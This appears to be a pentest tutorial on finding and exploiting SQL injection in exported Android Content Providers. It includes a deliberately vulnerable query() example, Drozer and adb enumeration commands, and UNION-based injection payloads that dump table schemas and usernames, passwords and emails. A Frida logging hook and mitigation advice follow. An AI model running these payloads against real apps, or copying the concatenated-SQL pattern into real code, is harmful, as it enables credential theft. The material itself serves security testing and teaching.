Android App Penetration Testing & Frida Hooks

Data Exfiltration via Android Content Provider SQLi: A Practical How-To Guide

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction

Android Content Providers are a fundamental component for managing access to structured data. They offer a standardized interface for applications to share data, whether it’s stored in a database, a file, or over the network. While designed for secure inter-process communication (IPC), a common and critical vulnerability can arise: SQL Injection. When a Content Provider improperly sanitizes user-supplied input to its query methods, attackers can inject malicious SQL commands, potentially leading to unauthorized data exfiltration, modification, or even denial of service. This guide will provide a practical, step-by-step approach to identifying and exploiting SQL Injection vulnerabilities in Android Content Providers, focusing on data exfiltration techniques.

Understanding Android Content Providers

Content Providers are one of the four core Android application components. They abstract away the underlying data storage mechanism, offering a uniform URI-based interface for querying, inserting, updating, and deleting data. They are crucial for sharing data between different applications or within an application itself across different processes.

Key aspects of Content Providers:

  • URI Structure: Data is accessed via URIs, typically in the format content://authority/path/id. The authority identifies the Content Provider, and the path and id specify the data being requested.
  • Methods: The primary methods are query(), insert(), update(), and delete(). The query() method is most relevant for SQL Injection, as it often directly constructs SQL queries based on user input.
  • Permissions: Access to Content Providers can be protected by Android permissions, specified in the Android Manifest. However, even with permissions, SQL Injection can bypass intended access controls if the data is accessible to the provider.

The SQL Injection Vulnerability in Content Providers

SQL Injection vulnerabilities in Content Providers often stem from unsafe handling of the selection and selectionArgs parameters passed to the query() method. If these parameters are directly concatenated into the SQL query without proper sanitization or if raw queries are used with unsanitized input, an attacker can manipulate the query logic.

Consider a vulnerable query() implementation:

@Overridepublic Cursor query(@NonNull Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder) {    SQLiteQueryBuilder queryBuilder = new SQLiteQueryBuilder();    queryBuilder.setTables(TABLE_NAME);    // ... other URI matching logic ...    // Vulnerable: Directly appending selection without proper sanitization    String sql = "SELECT " + TextUtils.join(",", projection) + " FROM " + TABLE_NAME + " WHERE " + selection;    // Or, if selectionArgs are not properly used with '?' placeholders, they can be vulnerable too.    // In this specific example, 'selection' itself is the direct injection point.    SQLiteDatabase db = mOpenHelper.getReadableDatabase();    return db.rawQuery(sql, selectionArgs); // selectionArgs here might be empty or misused}

An attacker could craft a selection string like id = 1 UNION SELECT name, password FROM users-- to bypass the intended query and retrieve data from the users table.

Identifying Vulnerable Content Providers

1. Manifest Analysis

Examine the application’s AndroidManifest.xml for <provider> tags. Look for exported providers (android:exported="true") or providers without explicit export status (defaulting to true if target API < 17).

<provider    android:name=".data.VulnerableProvider"    android:authorities="com.example.vulnerableapp.provider"    android:exported="true" />

2. Using pm dump

The Android Debug Bridge (ADB) pm dump command can list exposed Content Providers for a given package:

adb shell pm dump com.example.vulnerableapp | grep -A 5 "Provider"

3. Drozer for Enumeration

Drozer is an excellent tool for identifying exposed components. Use scanner.provider.finduris to discover Content Provider URIs:

dz> run scanner.provider.finduris -a com.example.vulnerableapp

Then, test for SQL Injection using scanner.provider.injection:

dz> run scanner.provider.injection -a com.example.vulnerableapp

Drozer can often automate the discovery of basic injection points.

4. Manual Query Testing with content query

The content query shell command is invaluable for manual testing. To test for basic injection:

adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "1=1 AND 1=1"adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "1=1 AND 1=2"

If the results differ (e.g., the first returns data, the second returns nothing), the selection clause is likely being interpreted. Now, try an injection payload:

adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "id=' OR 1=1--"

If this returns all records, SQL Injection is confirmed.

Exploiting SQL Injection for Data Exfiltration

Phase 1: Database Schema Enumeration

Once an injection point is found, the next step is to understand the database schema. SQLite (the default Android database) stores schema information in sqlite_master.

1. Enumerate Table Names

Use UNION-based injection to query sqlite_master:

adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "id=1 UNION SELECT tbl_name FROM sqlite_master WHERE type='table'--"

This query attempts to trick the provider into returning table names. You might need to adjust the number of columns in your UNION SELECT to match the original projection. If the original projection was _id, name, value (3 columns), you’d need:

adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id,name,value" --where "id=1 UNION SELECT tbl_name, sql, 1 FROM sqlite_master WHERE type='table'--"

The 1 is a placeholder to match the column count. Iterate, adjusting the number of placeholder columns until you get a valid result. The output will show table names in one of the columns.

2. Enumerate Column Names

Once you have a table name (e.g., users), you can query sqlite_master again or use PRAGMA table_info(table_name) to get column details.

adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id,name,value" --where "id=1 UNION SELECT sql, 1, 2 FROM sqlite_master WHERE type='table' AND tbl_name='users'--"

The sql column in sqlite_master for tables often contains the CREATE TABLE statement, revealing column names and types. Alternatively, a different injection approach might be needed to use PRAGMA:

adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "id=1 UNION SELECT name FROM sqlite_master WHERE type='table' AND name LIKE 'users' AND 1=0 UNION SELECT sql FROM sqlite_master WHERE type='table' AND name = 'users'--"

This is a more complex UNION to try and retrieve the CREATE TABLE statement to learn column names.

Phase 2: Data Exfiltration

With table and column names (e.g., table users with columns username, password, email), you can now exfiltrate data.

adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id,name,value" --where "id=1 UNION SELECT username, password, email FROM users--"

This will retrieve all usernames, passwords, and emails from the users table. Remember to adjust the number of columns in your UNION SELECT to match the original Content Provider’s projection.

You can also use functions like GROUP_CONCAT to combine multiple rows into a single string, especially useful if the Content Provider only returns a single row or you want to retrieve many columns at once.

adb shell content query --uri content://com.example.vulnerableapp.provider/data --projection "_id" --where "id=1 UNION SELECT GROUP_CONCAT(username || ':' || password) FROM users--"

Advanced Techniques: Frida Hooks for Observation

While direct command-line exploitation is powerful, Frida can assist in understanding Content Provider interactions, especially when the target app is complex or heavily obfuscated. You can hook the query() method to inspect the incoming selection and selectionArgs in real-time.

// frida_hook.jsJava.perform(function() {    var ContentProvider = Java.use('android.content.ContentProvider');    ContentProvider.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String').implementation = function(uri, projection, selection, selectionArgs, sortOrder) {        console.log("[ContentProvider.query] URI: " + uri);        console.log("[ContentProvider.query] Selection: " + selection);        if (selectionArgs != null) {            for (var i = 0; i < selectionArgs.length; i++) {                console.log("[ContentProvider.query] selectionArgs[" + i + "]: " + selectionArgs[i]);            }        }        // Call the original method        return this.query(uri, projection, selection, selectionArgs, sortOrder);    };});

Run this with Frida:

frida -U -l frida_hook.js -f com.example.vulnerableapp --no-pause

This hook will print the arguments passed to every ContentProvider.query() call within the application, helping you understand how the app itself interacts with its providers and where potential injection points might exist.

Mitigation

For developers, preventing Content Provider SQL Injection is critical:

  • Parameterized Queries: Always use parameterized queries or bind arguments through the selectionArgs parameter with ? placeholders in the selection. Never concatenate user input directly into SQL statements.
  • Input Validation: Strictly validate all user input.
  • Least Privilege: Restrict access to Content Providers using appropriate permissions.
  • Avoid rawQuery(): Use higher-level APIs like SQLiteDatabase.query() and ensure proper usage of selectionArgs.

Conclusion

Android Content Provider SQL Injection remains a serious threat, allowing attackers to bypass intended data access controls and exfiltrate sensitive information. By understanding how these vulnerabilities arise and leveraging tools like adb content query and Drozer, penetration testers can effectively identify and exploit them. Developers must prioritize secure coding practices, especially the correct use of parameterized queries, to safeguard data managed by Content Providers. This practical guide equips you with the knowledge to perform such assessments and contributes to building more secure Android applications.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner